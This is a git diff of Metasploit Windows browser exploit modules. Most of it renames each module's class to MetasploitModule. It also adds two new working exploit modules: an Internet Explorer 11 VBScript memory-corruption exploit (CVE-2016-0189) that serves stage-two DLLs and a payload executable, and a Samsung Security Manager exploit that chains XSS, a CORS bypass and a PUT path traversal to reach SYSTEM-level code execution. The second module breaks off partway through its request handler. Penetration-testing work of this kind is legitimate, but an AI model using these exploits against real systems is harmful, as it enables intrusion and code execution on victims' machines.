NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ms11_093_ole32.rb b/modules/exploits/windows/browser/ms11_093_ole32.rb index ce333b7c93..b382a1498c 100644 --- a/modules/exploits/windows/browser/ms11_093_ole32.rb +++ b/modules/exploits/windows/browser/ms11_093_ole32.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ms12_004_midi.rb b/modules/exploits/windows/browser/ms12_004_midi.rb index 22dcfc7b6a..16cec1843d 100644 --- a/modules/exploits/windows/browser/ms12_004_midi.rb +++ b/modules/exploits/windows/browser/ms12_004_midi.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ms12_037_ie_colspan.rb b/modules/exploits/windows/browser/ms12_037_ie_colspan.rb index de2192eb00..af516188b1 100644 --- a/modules/exploits/windows/browser/ms12_037_ie_colspan.rb +++ b/modules/exploits/windows/browser/ms12_037_ie_colspan.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ms12_037_same_id.rb b/modules/exploits/windows/browser/ms12_037_same_id.rb index 6d6b762169..ae82b71a96 100644 --- a/modules/exploits/windows/browser/ms12_037_same_id.rb +++ b/modules/exploits/windows/browser/ms12_037_same_id.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb b/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb index a0302f48dc..66098c6c37 100644 --- a/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb +++ b/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb b/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb index cb409f5da7..d766b0638d 100644 --- a/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb +++ b/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::BrowserExploitServer diff --git a/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb b/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb index 72a855ab3c..09200f72af 100644 --- a/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb +++ b/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::BrowserExploitServer diff --git a/modules/exploits/windows/browser/ms13_055_canchor.rb b/modules/exploits/windows/browser/ms13_055_canchor.rb index bbed4c4ee0..55980c503d 100644 --- a/modules/exploits/windows/browser/ms13_055_canchor.rb +++ b/modules/exploits/windows/browser/ms13_055_canchor.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb b/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb index 80881a1894..fc2563ea71 100644 --- a/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb +++ b/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::BrowserExploitServer diff --git a/modules/exploits/windows/browser/ms13_069_caret.rb b/modules/exploits/windows/browser/ms13_069_caret.rb index aaf14954b6..6178bc76a8 100644 --- a/modules/exploits/windows/browser/ms13_069_caret.rb +++ b/modules/exploits/windows/browser/ms13_069_caret.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb index dd3327be64..6ee1ddd0da 100644 --- a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb +++ b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb b/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb index 99aa91da65..136025b1a0 100644 --- a/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb +++ b/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::BrowserExploitServer diff --git a/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb b/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb index 8129288d3f..5b709aacba 100644 --- a/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb +++ b/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::BrowserExploitServer diff --git a/modules/exploits/windows/browser/ms14_012_textrange.rb b/modules/exploits/windows/browser/ms14_012_textrange.rb index b28f0dc273..5b2f00c98e 100644 --- a/modules/exploits/windows/browser/ms14_012_textrange.rb +++ b/modules/exploits/windows/browser/ms14_012_textrange.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::BrowserExploitServer diff --git a/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb b/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb index 99cd39a738..a539f7c1f8 100644 --- a/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb +++ b/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/exploit/powershell' -class Metasploit4 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::BrowserExploitServer diff --git a/modules/exploits/windows/browser/ms16_051_vbscript.rb b/modules/exploits/windows/browser/ms16_051_vbscript.rb new file mode 100644 index 0000000000..83089f31df --- /dev/null +++ b/modules/exploits/windows/browser/ms16_051_vbscript.rb @@ -0,0 +1,482 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::EXE + + def initialize(info={}) + super(update_info(info, + 'Name' => "Internet Explorer 11 VBScript Engine Memory Corruption", + 'Description' => %q{ + This module exploits the memory corruption vulnerability (CVE-2016-0189) + present in the VBScript engine of Internet Explorer 11. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Theori', # Original RE research and exploitation + 'William Webb ' # Metasploit module + ], + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic', {} ], + [ 'Windows 10 with IE 11', { } ] + ], + 'References' => + [ + [ 'CVE', '2016-0189' ], + [ 'MSB', 'MS16-051' ] + ], + 'Arch' => ARCH_X86_64, + 'DisclosureDate' => "May 10 2016", + 'DefaultTarget' => 0)) + end + + def setup + # @stage2html = Rex::Text.rand_text_alphanum(6) + @ieshell = "#{Rex::Text.rand_text_alphanumeric(6)}" # ieshell32.dll uri + @localsrv = "#{Rex::Text.rand_text_alphanumeric(6)}" # ielocalserver.dll uri + @pm_escape_html = "#{Rex::Text.rand_text_alphanumeric(6)}" # vbscipt_godmode.html + @payload_uri = "#{Rex::Text.rand_text_alphanumeric(8)}" + @payload_exe = "#{Rex::Text.rand_text_alpha(6)}.exe" + File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2016-0189", "ieshell32.dll" ), "rb") { |f| @stage2dll = f.read } + File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2016-0189", "ielocalserver.dll" ), "rb") { |f| @localserver = f.read } + super + end + + def exploit_html(req_uri) + srvhost = datastore['SRVHOST'] + srvport = datastore['SRVPORT'] + + template = <<-EOF + + + + + + + + + + + + + + EOF + + template + end + + def stage2_html(req_uri) + + template = <<-EOF + + + + + + + + + + + + EOF + template + end + + def on_request_uri(cli, request) + # used for some debugging stuff + ies = @ieshell + ls = @localsrv + pm = @pm_escape_html + + print_status("Received request: #{request.uri}") + if request.uri =~ /.*#{ies}.*$/ + print_status("Sending stage two DLL ...") + send_response(cli, @stage2dll, { 'Content-Type' => 'application/x-msdownload', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' }) + elsif request.uri =~ /.*#{ls}.*$/ + print_status("Sending local server DLL ...") + send_response(cli, @localserver, { 'Content-Type' => 'application/x-msdownload', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' }) + elsif request.uri =~ /.*#{pm}.*$/ + rq = "#{get_resource.chomp('/')}" + gm = stage2_html(rq) + send_response(cli, gm, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' }) + elsif request.uri =~ /.*#{@payload_uri}$/ + return if ((payload = regenerate_payload(cli)) == nil) + print_status("Sending payload ...") + send_response(cli, generate_payload_exe({ :code => payload.encoded }), { 'Content-Type' => 'application/octet-stream', 'Connection' => 'close' }) + else + print_status("Sending main page ..") + send_response(cli, exploit_html(request.uri)) + end + end + +end + diff --git a/modules/exploits/windows/browser/msvidctl_mpeg2.rb b/modules/exploits/windows/browser/msvidctl_mpeg2.rb index 70582071df..8a2c327422 100644 --- a/modules/exploits/windows/browser/msvidctl_mpeg2.rb +++ b/modules/exploits/windows/browser/msvidctl_mpeg2.rb @@ -22,7 +22,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/mswhale_checkforupdates.rb b/modules/exploits/windows/browser/mswhale_checkforupdates.rb index 6acfe799f4..09b8351635 100644 --- a/modules/exploits/windows/browser/mswhale_checkforupdates.rb +++ b/modules/exploits/windows/browser/mswhale_checkforupdates.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb b/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb index 040ee2fa16..dac7e039f8 100644 --- a/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb +++ b/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/nctaudiofile2_setformatlikesample.rb b/modules/exploits/windows/browser/nctaudiofile2_setformatlikesample.rb index 5202ae760e..52f37d6fd8 100644 --- a/modules/exploits/windows/browser/nctaudiofile2_setformatlikesample.rb +++ b/modules/exploits/windows/browser/nctaudiofile2_setformatlikesample.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/nis2004_antispam.rb b/modules/exploits/windows/browser/nis2004_antispam.rb index d137afaaea..35671acecc 100644 --- a/modules/exploits/windows/browser/nis2004_antispam.rb +++ b/modules/exploits/windows/browser/nis2004_antispam.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/nis2004_get.rb b/modules/exploits/windows/browser/nis2004_get.rb index 292b1c9539..fb3fd45964 100644 --- a/modules/exploits/windows/browser/nis2004_get.rb +++ b/modules/exploits/windows/browser/nis2004_get.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/notes_handler_cmdinject.rb b/modules/exploits/windows/browser/notes_handler_cmdinject.rb index d6e76ffe2d..011b5f84d5 100644 --- a/modules/exploits/windows/browser/notes_handler_cmdinject.rb +++ b/modules/exploits/windows/browser/notes_handler_cmdinject.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb b/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb index 2c5c4424cf..a61d88ca68 100644 --- a/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb +++ b/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/novelliprint_callbackurl.rb b/modules/exploits/windows/browser/novelliprint_callbackurl.rb index 28b4f9ef75..042abf46a7 100644 --- a/modules/exploits/windows/browser/novelliprint_callbackurl.rb +++ b/modules/exploits/windows/browser/novelliprint_callbackurl.rb @@ -34,7 +34,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/novelliprint_datetime.rb b/modules/exploits/windows/browser/novelliprint_datetime.rb index d247e134c7..fb669b078b 100644 --- a/modules/exploits/windows/browser/novelliprint_datetime.rb +++ b/modules/exploits/windows/browser/novelliprint_datetime.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/novelliprint_executerequest.rb b/modules/exploits/windows/browser/novelliprint_executerequest.rb index 6ec5f52b65..8cfc00ade1 100644 --- a/modules/exploits/windows/browser/novelliprint_executerequest.rb +++ b/modules/exploits/windows/browser/novelliprint_executerequest.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/novelliprint_executerequest_dbg.rb b/modules/exploits/windows/browser/novelliprint_executerequest_dbg.rb index cc6954458c..20a29ec374 100644 --- a/modules/exploits/windows/browser/novelliprint_executerequest_dbg.rb +++ b/modules/exploits/windows/browser/novelliprint_executerequest_dbg.rb @@ -34,7 +34,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/novelliprint_getdriversettings.rb b/modules/exploits/windows/browser/novelliprint_getdriversettings.rb index fd55d572ea..c784347f9d 100644 --- a/modules/exploits/windows/browser/novelliprint_getdriversettings.rb +++ b/modules/exploits/windows/browser/novelliprint_getdriversettings.rb @@ -8,7 +8,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/novelliprint_getdriversettings_2.rb b/modules/exploits/windows/browser/novelliprint_getdriversettings_2.rb index 70db241a7c..6badf5ec16 100644 --- a/modules/exploits/windows/browser/novelliprint_getdriversettings_2.rb +++ b/modules/exploits/windows/browser/novelliprint_getdriversettings_2.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/novelliprint_target_frame.rb b/modules/exploits/windows/browser/novelliprint_target_frame.rb index 4461b2a70e..34573d0248 100644 --- a/modules/exploits/windows/browser/novelliprint_target_frame.rb +++ b/modules/exploits/windows/browser/novelliprint_target_frame.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ntr_activex_check_bof.rb b/modules/exploits/windows/browser/ntr_activex_check_bof.rb index 846f4befde..611029ad99 100644 --- a/modules/exploits/windows/browser/ntr_activex_check_bof.rb +++ b/modules/exploits/windows/browser/ntr_activex_check_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ntr_activex_stopmodule.rb b/modules/exploits/windows/browser/ntr_activex_stopmodule.rb index 9c195aa332..e943b11db0 100644 --- a/modules/exploits/windows/browser/ntr_activex_stopmodule.rb +++ b/modules/exploits/windows/browser/ntr_activex_stopmodule.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb b/modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb index 694e4d6431..f4cccba075 100644 --- a/modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb +++ b/modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/oracle_dc_submittoexpress.rb b/modules/exploits/windows/browser/oracle_dc_submittoexpress.rb index 51961e8099..a369d42b06 100644 --- a/modules/exploits/windows/browser/oracle_dc_submittoexpress.rb +++ b/modules/exploits/windows/browser/oracle_dc_submittoexpress.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb b/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb index f80e83d451..9335d80815 100644 --- a/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb +++ b/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/orbit_connecting.rb b/modules/exploits/windows/browser/orbit_connecting.rb index 5295485415..5ecae278aa 100644 --- a/modules/exploits/windows/browser/orbit_connecting.rb +++ b/modules/exploits/windows/browser/orbit_connecting.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ovftool_format_string.rb b/modules/exploits/windows/browser/ovftool_format_string.rb index 34d945a5d1..7184ac812a 100644 --- a/modules/exploits/windows/browser/ovftool_format_string.rb +++ b/modules/exploits/windows/browser/ovftool_format_string.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/pcvue_func.rb b/modules/exploits/windows/browser/pcvue_func.rb index c5c57b34c1..d4018ccb1e 100644 --- a/modules/exploits/windows/browser/pcvue_func.rb +++ b/modules/exploits/windows/browser/pcvue_func.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/persits_xupload_traversal.rb b/modules/exploits/windows/browser/persits_xupload_traversal.rb index a74f4bcff9..3d508ab03b 100644 --- a/modules/exploits/windows/browser/persits_xupload_traversal.rb +++ b/modules/exploits/windows/browser/persits_xupload_traversal.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/quickr_qp2_bof.rb b/modules/exploits/windows/browser/quickr_qp2_bof.rb index d260b5ba37..af452faef1 100644 --- a/modules/exploits/windows/browser/quickr_qp2_bof.rb +++ b/modules/exploits/windows/browser/quickr_qp2_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/real_arcade_installerdlg.rb b/modules/exploits/windows/browser/real_arcade_installerdlg.rb index c2afc67f27..f24cab863b 100644 --- a/modules/exploits/windows/browser/real_arcade_installerdlg.rb +++ b/modules/exploits/windows/browser/real_arcade_installerdlg.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/realplayer_cdda_uri.rb b/modules/exploits/windows/browser/realplayer_cdda_uri.rb index 75f94ecd5b..049dfae49f 100644 --- a/modules/exploits/windows/browser/realplayer_cdda_uri.rb +++ b/modules/exploits/windows/browser/realplayer_cdda_uri.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/realplayer_console.rb b/modules/exploits/windows/browser/realplayer_console.rb index 33fedfc9c6..5e8066f7bb 100644 --- a/modules/exploits/windows/browser/realplayer_console.rb +++ b/modules/exploits/windows/browser/realplayer_console.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/realplayer_import.rb b/modules/exploits/windows/browser/realplayer_import.rb index 0aab25f860..8af7086610 100644 --- a/modules/exploits/windows/browser/realplayer_import.rb +++ b/modules/exploits/windows/browser/realplayer_import.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/realplayer_qcp.rb b/modules/exploits/windows/browser/realplayer_qcp.rb index 9a14d5500a..5b81c4d16d 100644 --- a/modules/exploits/windows/browser/realplayer_qcp.rb +++ b/modules/exploits/windows/browser/realplayer_qcp.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/realplayer_smil.rb b/modules/exploits/windows/browser/realplayer_smil.rb index 7c0cc98bb6..2523e574e7 100644 --- a/modules/exploits/windows/browser/realplayer_smil.rb +++ b/modules/exploits/windows/browser/realplayer_smil.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/roxio_cineplayer.rb b/modules/exploits/windows/browser/roxio_cineplayer.rb index af12347a60..262b0480b4 100644 --- a/modules/exploits/windows/browser/roxio_cineplayer.rb +++ b/modules/exploits/windows/browser/roxio_cineplayer.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/safari_xslt_output.rb b/modules/exploits/windows/browser/safari_xslt_output.rb index d6fe45cc71..2397e4d9f4 100644 --- a/modules/exploits/windows/browser/safari_xslt_output.rb +++ b/modules/exploits/windows/browser/safari_xslt_output.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb b/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb index 74706eabcb..057ff83b3c 100644 --- a/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb +++ b/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/samsung_security_manager_put.rb b/modules/exploits/windows/browser/samsung_security_manager_put.rb new file mode 100644 index 0000000000..fe09f84299 --- /dev/null +++ b/modules/exploits/windows/browser/samsung_security_manager_put.rb @@ -0,0 +1,240 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::EXE + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => "Samsung Security Manager 1.4 ActiveMQ Broker Service PUT Method Remote Code Execution", + 'Description' => %q{ + This is an exploit against Samsung Security Manager that bypasses the patch in ZDI-15-156 & ZDI-16-481 + by exploiting the vulnerability against the client-side. This exploit has been tested successfully using + IE, FireFox and Chrome by abusing a GET request XSS to bypass CORS and reach the vulnerable PUT. Finally + a traversal is used in the PUT request to upload the code just where we want it and gain RCE as SYSTEM. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'mr_me ', # AWAE training 2016 + ], + 'References' => + [ + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-15-156/' ], # client vs server + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-16-481/' ] # client vs server + ], + 'Platform' => 'win', + 'Targets' => + [ + [ 'Samsung Security Manager 1.32 & 1.4 Universal', {} ] # tested on 1.32 & 1.4 + ], + 'DisclosureDate' => "Aug 05 2016", + 'DefaultTarget' => 0)) + register_options( + [ + OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation']) + ], self.class) + end + + # this is because String.fromCharCode has a max of 65535 func args + # thanks to sinn3r for his help with the Array->String conversion + def encode_js(string) + i = 0 + encoded_0 = [] + encoded_1 = [] + string.each_byte do |c| + if i > 65534 + encoded_1 << c + else + encoded_0 << c + end + i += 1 + end + if i > 65534 + return encoded_0 * ",", encoded_1 * "," + else + return encoded_0 * "," + end + end + + # tested on Firefox v46.0.1 (latest) + # tested on Chrome v50.0.2661.102 (latest release) + # tested on IE v11.0.9600.18314 (latest) + def on_request_uri(cli, request) + + js_name = rand_text_alpha(rand(10)+5) + '.js' + + 